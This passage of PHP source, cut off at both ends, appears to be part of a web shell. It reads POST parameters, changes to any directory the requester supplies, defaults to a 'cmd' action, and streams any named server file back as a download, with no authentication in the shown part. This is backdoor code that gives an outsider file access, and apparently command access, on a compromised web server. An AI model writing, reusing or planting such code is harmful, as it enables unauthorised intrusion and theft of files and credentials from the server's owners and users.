";}
if(version_compare(phpversion(), '4.1.0') == -1)
{
$_POST=&$HTTP_POST_VARS;
}
if(@get_magic_quotes_gpc())
foreach ($_POST as $k=>$v)
{
$_POST[$k] = stripslashes($v);
}
$action_edit = false;
$dwn_failed = false;
if(isset($_POST["action"]))
$action = $_POST["action"];
else
$action = "cmd";
if(isset($_POST["pwd"]))
{
$pwd = $_POST["pwd"];
chdir($pwd);
}
$location = location();
if(($action === "download")&&(isset($_POST["fname"])))
{
$fname = $_POST["fname"];
if(file_exists($fname))
{
$pathinfo = pathinfo($fname);
header("Content-Transfer-Encoding: binary");
header("Content-type: application/x-download");
header("Content-Length: ".filesize($fname));
header("Content-Disposition: attachment; filename=".$pathinfo["basename"]);
@readfile($fname);
die();
}
else
$dwn_failed = true;
}
echo "
";
?>